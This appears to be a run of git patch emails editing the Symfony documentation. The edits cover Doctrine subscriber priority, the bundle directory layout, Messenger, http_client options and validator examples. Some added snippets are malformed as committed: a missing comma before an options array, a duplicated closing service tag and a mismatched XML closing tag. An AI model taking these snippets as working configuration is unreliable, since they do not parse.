+    instances even when they are created for the same resource. It means that for
+    a given scope and resource one lock instance can be acquired multiple times. 
+    If a lock has to be used by several services, they should share the same ``Lock``
+    instance returned by the ``LockFactory::createLock`` method.
 
 .. tip::
 

From ce5d6693b6715a00c461d50a5c35f827b8290f66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 10:56:38 +0100
Subject: [PATCH 1856/7107] Tweak

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 7651dd19caf..8e83fed5c9d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -61,7 +61,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
 .. note::
 
-    Unlike other implementations, the Lock Component distinguishes locks
+    Unlike other implementations, the Lock Component distinguishes lock
     instances even when they are created for the same resource. It means that for
     a given scope and resource one lock instance can be acquired multiple times. 
     If a lock has to be used by several services, they should share the same ``Lock``

From 915b0d57ae5a1fa0c7c8f8cd047824e6b2160247 Mon Sep 17 00:00:00 2001
From: Nicolas Hart <nclsHart@users.noreply.github.com>
Date: Mon, 15 Feb 2021 12:08:27 +0100
Subject: [PATCH 1857/7107] [Encore] fix typo fronts instead of fonts

---
 frontend/encore/url-loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 9567960c99d..ff8be75aedc 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,4 +1,4 @@
-Inlining Images & Fronts in CSS
+Inlining Images & Fonts in CSS
 ===============================
 
 A simple technique to improve the performance of web applications is to reduce

From 77744242d2ac155c265ad2bc785c31adfb5819cc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 15 Feb 2021 12:28:58 +0100
Subject: [PATCH 1858/7107] Fix length of underline

---
 frontend/encore/url-loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index ff8be75aedc..5e89234f295 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,5 +1,5 @@
 Inlining Images & Fonts in CSS
-===============================
+==============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the

From fa054e6fb06380a198f9301272797bb273df154b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 13 Feb 2021 16:26:35 +0100
Subject: [PATCH 1859/7107] [Doctrine] Add documentation about
 doctrine.event_subscriber priority

---
 doctrine/events.rst | 37 +++++++++++++++++++++++++++++++------
 1 file changed, 31 insertions(+), 6 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3eea84aff4f..16c51734411 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -166,7 +166,7 @@ with the ``doctrine.event_listener`` tag:
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple listeners are associated
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -184,7 +184,7 @@ with the ``doctrine.event_listener`` tag:
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple listeners are associated to the same event
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -213,7 +213,7 @@ with the ``doctrine.event_listener`` tag:
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple listeners are associated
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -428,7 +428,14 @@ with the ``doctrine.event_subscriber`` tag:
 
             App\EventListener\DatabaseActivitySubscriber:
                 tags:
-                    - { name: 'doctrine.event_subscriber' }
+                    - name: 'doctrine.event_subscriber'
+
+                      # subscribers can define their priority in case multiple subscribers or listeners are associated
+                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                      priority: 500
+
+                      # you can also restrict listeners to a specific Doctrine connection
+                      connection: 'default'
 
     .. code-block:: xml
 
@@ -439,8 +446,15 @@ with the ``doctrine.event_subscriber`` tag:
             <services>
                 <!-- ... -->
 
+                <!--
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    *             (default priority = 0; higher numbers = listener is run earlier)
+                    * 'connection': restricts the listener to a specific Doctrine connection
+                -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                </service>
+
                 </service>
             </services>
         </container>
@@ -456,7 +470,14 @@ with the ``doctrine.event_subscriber`` tag:
             $services = $configurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber')
+                ->tag('doctrine.event_subscriber'[
+                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
+
+                    # you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
             ;
         };
 
@@ -505,6 +526,10 @@ can do it in the service configuration:
             ;
         };
 
+.. versionadded:: 5.3
+
+    Handling priority for subscribers alongside listeners has been introduced in Symfony 5.3.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From 2c082536f083677436f835f675d40f1cc898736d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 13:10:56 +0100
Subject: [PATCH 1860/7107] Tweak

---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 16c51734411..bce3b6873e9 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -528,7 +528,7 @@ can do it in the service configuration:
 
 .. versionadded:: 5.3
 
-    Handling priority for subscribers alongside listeners has been introduced in Symfony 5.3.
+    Subscriber priority was introduced in Symfony 5.3.
 
 .. tip::
 

From b920cfd7cd37500b2733b6754fc26e6dc94c7ce2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Feb 2021 15:18:31 +0100
Subject: [PATCH 1861/7107] Tweak

---
 reference/constraints/Compound.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index a43899e7c24..53ce70c6df2 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -71,19 +71,16 @@ you can create your own named set or requirements to be reused consistently ever
             }
         }  
 
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
 .. versionadded:: 5.2
 
     The ability to use PHP attributes to configure constraints was introduced in
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate constraints.
 
-.. note::
-
-    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
-
 You can now use it anywhere you need it:
 
 .. configuration-block::

From 294972523d69eeb78e89ba96b579f9ce2652de1e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Feb 2021 17:17:02 +0100
Subject: [PATCH 1862/7107] Reword

---
 messenger.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b8819c33c4a..17f894fd0e5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1981,12 +1981,12 @@ Other Middlewares
 
 .. versionadded:: 5.3
 
-    The ``router_context`` middleware were introduced in Symfony 5.3.
+    The ``router_context`` middleware was introduced in Symfony 5.3.
 
-When the consumer needs to build an absolute URL, for instance: rendering a
-template with links, it needs the initial's request context in order to
-retrieves the domain and information needed to build the URL. This can be
-achieved by declaring the ``router_context`` middleware in the bus.
+Add the ``router_context`` middleware if you need to generate absolute URLs in
+the consumer (e.g. render a template with links). This middleware stores the
+original request context (i.e. the host, the HTTP port, etc.) which is needed
+when building absolute URLs.
 
 .. configuration-block::
 

From f085b3262ec80df720768dbd30cd17de846fdd5c Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 16 Feb 2021 20:17:39 +0100
Subject: [PATCH 1863/7107] [Validator] Use single quotes for a string

---
 validation/groups.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/groups.rst b/validation/groups.rst
index b25c82236fc..7681f583a08 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -123,7 +123,7 @@ user registers and when a user updates their contact information later:
                 ]));
 
                 $metadata->addPropertyConstraint('city', new Assert\Length([
-                    "min" => 2,
+                    'min' => 2,
                 ]));
             }
         }

From 462f27fcedade2bfc6b2542d70b48be6ee383517 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Feb 2021 09:05:23 +0100
Subject: [PATCH 1864/7107] Minor fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2cd18d823bd..f3610db7a00 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1324,7 +1324,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key= AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key=AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::

From dca6cf4a5aee042b33929f9fc1e9a50562d34191 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Feb 2021 09:52:54 +0100
Subject: [PATCH 1865/7107] [Security] bcrypt is the new default hasher for
 native/auto

---
 best_practices.rst | 2 +-
 security.rst       | 5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 5f137d492c1..be3486e355b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -368,7 +368,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Currently, it tries to use ``sodium`` by default and falls back to ``bcrypt``.
+Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/security.rst b/security.rst
index 3b9341a07d6..c91db7be29a 100644
--- a/security.rst
+++ b/security.rst
@@ -219,9 +219,8 @@ command will pre-configure this for you:
             encoders:
                 # use your user class name here
                 App\Entity\User:
-                    # Use native password encoder
-                    # This value auto-selects the best possible hashing algorithm
-                    # (i.e. Sodium when available).
+                    # Use native password encoder, which auto-selects the best
+                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
     .. code-block:: xml

From a74de75dde9029e83192bfe156272c71f01e4891 Mon Sep 17 00:00:00 2001
From: Thijs-jan Veldhuizen <t.j.veldhuizen@tjveldhuizen.nl>
Date: Wed, 17 Feb 2021 15:53:19 +0100
Subject: [PATCH 1866/7107] Update monolog_console.rst

---
 logging/monolog_console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 5c0263c5349..21c67d705d8 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -67,6 +67,16 @@ the console. If they are displayed, they are timestamped and colored appropriate
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
+===============  =======================================  ============
+LoggerInterface  Verbosity                                Command line
+===============  =======================================  ============
+->error()        OutputInterface::VERBOSITY_QUIET         stderr
+->warning()      OutputInterface::VERBOSITY_NORMAL        stdout
+->notice()       OutputInterface::VERBOSITY_VERBOSE       -v
+->info()         OutputInterface::VERBOSITY_VERY_VERBOSE  -vv
+->debug()        OutputInterface::VERBOSITY_DEBUG         -vvv
+===============  =======================================  ============
+
 The Monolog console handler is enabled by default:
 
 .. configuration-block::

From 25c0716f376796104c3ecebeb839305c07672024 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 17 Feb 2021 17:21:03 +0100
Subject: [PATCH 1867/7107] Add reference to commit message conventions

---
 contributing/code/conventions.rst   | 6 +++---
 contributing/code/pull_requests.rst | 2 ++
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 3174ac93660..0b50de6885f 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -99,9 +99,9 @@ conventions:
 
 * No third level sections are allowed;
 
-* Messages should follow the commit message conventions: should be short,
-  capitalize the line, do not end with a period, use an imperative verb to
-  start the line;
+* Messages should follow the :ref:`commit message conventions <commit-messages>`:
+  should be short, capitalize the line, do not end with a period, use an
+  imperative verb to start the line;
 
 * New entries must be added on top of the list.
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index e69371e9d5e..1cb0da6dddc 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -224,6 +224,8 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
+.. _commit-messages:
+
 * Write good commit messages: Start by a short subject line (the first line),
   followed by a blank line and a more detailed description.
 

From 251304e424f26a2dad7cd1d594a17ec23e333f93 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Wed, 17 Feb 2021 19:13:44 +0100
Subject: [PATCH 1868/7107] [Validator] Use null coalescing operator instead of
 ternary operator

---
 validation/severity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/severity.rst b/validation/severity.rst
index 23b81145ee9..7a8c22298fd 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -137,7 +137,7 @@ method. Each constraint exposes the attached payload as a public property::
     // Symfony\Component\Validator\ConstraintViolation
     $constraintViolation = ...;
     $constraint = $constraintViolation->getConstraint();
-    $severity = isset($constraint->payload['severity']) ? $constraint->payload['severity'] : null;
+    $severity = $constraint->payload['severity'] ?? null;
 
 For example, you can leverage this to customize the ``form_errors`` block
 so that the severity is added as an additional HTML class:

From 2de6e69f9d628cca316fa5549e4a50d51201dd84 Mon Sep 17 00:00:00 2001
From: Tamcy <tamcy@users.noreply.github.com>
Date: Thu, 18 Feb 2021 13:29:18 +0800
Subject: [PATCH 1869/7107] Update the default `cookie_secure` value

The default and special `cookie_secure` value should be `'auto'`, not `null`.
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3baf76260a..2636bee4a2b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1589,10 +1589,10 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``null`` **default**: ``null``
+**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``null`` value that
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
 cookie_httponly

From 4f851e84f2a4372cdc259359bf51eded04ecde06 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Wed, 17 Feb 2021 19:42:10 +0100
Subject: [PATCH 1870/7107] [Validator] Use import instead of FQCN

---
 form/dynamic_form_modification.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 279b5b4118d..7c52e5f3abd 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -377,6 +377,8 @@ sport like this::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
+    use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\FormBuilderInterface;
@@ -390,7 +392,7 @@ sport like this::
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -407,7 +409,7 @@ sport like this::
                     $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                     $form->add('position', EntityType::class, [
-                        'class' => 'App\Entity\Position',
+                        'class' => Position::class,
                         'placeholder' => '',
                         'choices' => $positions,
                     ]);
@@ -443,6 +445,7 @@ The type would now look like::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
     use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\FormInterface;
@@ -454,7 +457,7 @@ The type would now look like::
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -463,7 +466,7 @@ The type would now look like::
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
-                    'class' => 'App\Entity\Position',
+                    'class' => Position::class,
                     'placeholder' => '',
                     'choices' => $positions,
                 ]);

From 7948311afca73fc192531e03575382fd9783ac5f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Wed, 17 Feb 2021 16:15:05 +0100
Subject: [PATCH 1871/7107] fix specifying http_version in YAML

---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 91122c00961..6add04b711e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -750,7 +750,8 @@ the ``http_version`` option:
         # config/packages/framework.yaml
         framework:
             http_client:
-                http_version: '2.0'
+                default_options:
+                    http_version: '2.0'
 
     .. code-block:: xml
 

From cb5764ad53359ca859abec4c00972f23df69d3ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 15:03:54 +0100
Subject: [PATCH 1872/7107] Updated XML and PHP configs too

---
 http_client.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6add04b711e..be195f2008d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -765,7 +765,9 @@ the ``http_version`` option:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client http-version="2.0"/>
+                <framework:http-client>
+                    <framework:default-options http-version="2.0"/>
+                </framework-http-client>
             </framework:config>
         </container>
 
@@ -774,7 +776,9 @@ the ``http_version`` option:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'http_client' => [
-                'http_version' => '2.0',
+                'default_options' => [
+                    'http_version' => '2.0',
+                ],
             ],
         ]);
 

From d44bfa826d7ea3dc438999d81cd0dd36a8f29516 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 14 Feb 2021 22:57:48 -0500
Subject: [PATCH 1873/7107] Promoting new bundle directory structure as best
 practice

---
 bundles/best_practices.rst | 107 +++++++++++++++++++++++--------------
 1 file changed, 68 insertions(+), 39 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..bf32457cd81 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -68,30 +68,47 @@ The basic directory structure of an AcmeBlogBundle must read as follows:
 .. code-block:: text
 
     <your-bundle>/
-    ├─ AcmeBlogBundle.php
-    ├─ Controller/
-    ├─ README.md
-    ├─ LICENSE
-    ├─ Resources/
-    │   ├─ config/
-    │   ├─ doc/
-    │   │  └─ index.rst
-    │   ├─ translations/
-    │   ├─ views/
-    │   └─ public/
-    └─ Tests/
+    ├── config/
+    ├── docs/
+    │   └─ index.md
+    ├── public/
+    ├── src/
+    │   ├── Controller/
+    │   ├── DependencyInjection/
+    │   └── AcmeBlogBundle.php
+    ├── templates/
+    ├── tests/
+    ├── translations/
+    ├── LICENSE
+    └── README.md
+
+.. versionadded:: 4.4
+
+    This directory convention was introduced in Symfony 4.4 and can be used only when requiring
+    ``symfony/http-kernel`` 4.4 or superior.
+
+
+and the bundle path must be adjusted to the root directory::
+
+    class AcmeBlogBundle extends Bundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
 
-* ``AcmeBlogBundle.php``: This is the class that transforms a plain directory
+* ``src/AcmeBlogBundle.php``: This is the class that transforms a plain directory
   into a Symfony bundle (change this to your bundle's name);
 * ``README.md``: This file contains the basic description of the bundle and it
   usually shows some basic examples and links to its full documentation (it
   can use any of the markup formats supported by GitHub, such as ``README.rst``);
 * ``LICENSE``: The full contents of the license used by the code. Most third-party
   bundles are published under the MIT license, but you can `choose any license`_;
-* ``Resources/doc/index.rst``: The root file for the Bundle documentation.
+* ``docs/index.md``: The root file for the Bundle documentation.
 
 The depth of subdirectories should be kept to a minimum for the most used
 classes and files. Two levels is the maximum.
@@ -107,19 +124,19 @@ and others are just conventions followed by most developers):
 ===================================================  ========================================
 Type                                                 Directory
 ===================================================  ========================================
-Commands                                             ``Command/``
-Controllers                                          ``Controller/``
-Service Container Extensions                         ``DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``Entity/``
-Doctrine ODM documents (when not using annotations)  ``Document/``
-Event Listeners                                      ``EventListener/``
-Configuration (routes, services, etc.)               ``Resources/config/``
-Web Assets (CSS, JS, images)                         ``Resources/public/``
-Translation files                                    ``Resources/translations/``
-Validation (when not using annotations)              ``Resources/config/validation/``
-Serialization (when not using annotations)           ``Resources/config/serialization/``
-Templates                                            ``Resources/views/``
-Unit and Functional Tests                            ``Tests/``
+Commands                                             ``src/Command/``
+Controllers                                          ``src/Controller/``
+Service Container Extensions                         ``src/DependencyInjection/``
+Doctrine ORM entities (when not using annotations)   ``src/Entity/``
+Doctrine ODM documents (when not using annotations)  ``src/Document/``
+Event Listeners                                      ``src/EventListener/``
+Configuration (routes, services, etc.)               ``config/``
+Web Assets (CSS, JS, images)                         ``public/``
+Translation files                                    ``translations/``
+Validation (when not using annotations)              ``config/validation/``
+Serialization (when not using annotations)           ``config/serialization/``
+Templates                                            ``templates/``
+Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
 
 Classes
@@ -127,7 +144,7 @@ Classes
 
 The bundle directory structure is used as the namespace hierarchy. For
 instance, a ``ContentController`` controller which is stored in
-``Acme/BlogBundle/Controller/ContentController.php`` would have the fully
+``src/Controller/ContentController.php`` would have the fully
 qualified class name of ``Acme\BlogBundle\Controller\ContentController``.
 
 All classes and files must follow the :doc:`Symfony coding standards </contributing/code/standards>`.
@@ -153,7 +170,7 @@ Tests
 -----
 
 A bundle should come with a test suite written with PHPUnit and stored under
-the ``Tests/`` directory. Tests should follow the following principles:
+the ``tests/`` directory. Tests should follow the following principles:
 
 * The test suite must be executable with a simple ``phpunit`` command run from
   a sample application;
@@ -240,10 +257,10 @@ Documentation
 
 All classes and functions must come with full PHPDoc.
 
-Extensive documentation should also be provided in the ``Resources/doc/``
+Extensive documentation should also be provided in the ``docs/``
 directory.
-The index file (for example ``Resources/doc/index.rst`` or
-``Resources/doc/index.md``) is the only mandatory file and must be the entry
+The index file (for example ``docs/index.rst`` or
+``docs/index.md``) is the only mandatory file and must be the entry
 point for the documentation. The
 :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format
 used to render the documentation on the Symfony website.
@@ -480,10 +497,22 @@ The ``composer.json`` file should include at least the following metadata:
     This information is used by Symfony to load the classes of the bundle. It's
     recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
     and the location of the bundle's main class (relative to ``composer.json``)
-    as value. For example, if the main class is located in the bundle root
-    directory: ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "" } }``.
-    If the main class is located in the ``src/`` directory of the bundle:
-    ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "src/" } }``.
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 In order to make it easier for developers to find your bundle, register it on
 `Packagist`_, the official repository for Composer packages.
@@ -493,15 +522,15 @@ Resources
 
 If the bundle references any resources (config files, translation files, etc.),
 don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@FooBundle/Resources/config/services.xml``).
+paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
 
 The logical paths are required because of the bundle overriding mechanism that
 lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
 for more details about transforming physical paths into logical paths.
 
 Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``Resources/views/Default/``
-directory of the FooBundle, is referenced as ``@Foo/Default/index.html.twig``.
+For example, an ``index.html.twig`` template located in the ``templates/Default/``
+directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
 
 Learn more
 ----------

From 36421ad60206b79bf1fb5d701dac7c480ddd474e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 15:50:36 +0100
Subject: [PATCH 1874/7107] Tweaks

---
 bundles/best_practices.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index bf32457cd81..9c615c46db1 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -63,7 +63,7 @@ configuration options (see below for some usage examples).
 Directory Structure
 -------------------
 
-The basic directory structure of an AcmeBlogBundle must read as follows:
+The following is the recommended directory structure of an AcmeBlogBundle:
 
 .. code-block:: text
 
@@ -84,11 +84,11 @@ The basic directory structure of an AcmeBlogBundle must read as follows:
 
 .. versionadded:: 4.4
 
-    This directory convention was introduced in Symfony 4.4 and can be used only when requiring
-    ``symfony/http-kernel`` 4.4 or superior.
+    This directory convention was introduced in Symfony 4.4 and can be used only
+    when requiring ``symfony/http-kernel`` 4.4 or superior.
 
-
-and the bundle path must be adjusted to the root directory::
+This directory structure requires to configure the bundle path to its root
+directory as follows::
 
     class AcmeBlogBundle extends Bundle
     {

From 564378a49437963665578bd389209d803f56213c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 16:08:32 +0100
Subject: [PATCH 1875/7107] Removed an unnecessary versionadded directive

---
 bundles/best_practices.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 29d8008b896..bf0138ddec8 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -82,11 +82,6 @@ The following is the recommended directory structure of an AcmeBlogBundle:
     ├── LICENSE
     └── README.md
 
-.. versionadded:: 4.4
-
-    This directory convention was introduced in Symfony 4.4 and can be used only
-    when requiring ``symfony/http-kernel`` 4.4 or superior.
-
 This directory structure requires to configure the bundle path to its root
 directory as follows::
 

From f37c6bed41b3c755b31bc04c70cdc8baa6cab587 Mon Sep 17 00:00:00 2001
From: Nietono <8806554+nietonchique@users.noreply.github.com>
Date: Fri, 29 Jan 2021 03:03:50 +0300
Subject: [PATCH 1876/7107] Update Type.rst

Change Ramsey to symfony/uid
---
 reference/constraints/Type.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 8aa0edd1ba2..aa48a17ca6d 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -18,7 +18,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
+This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
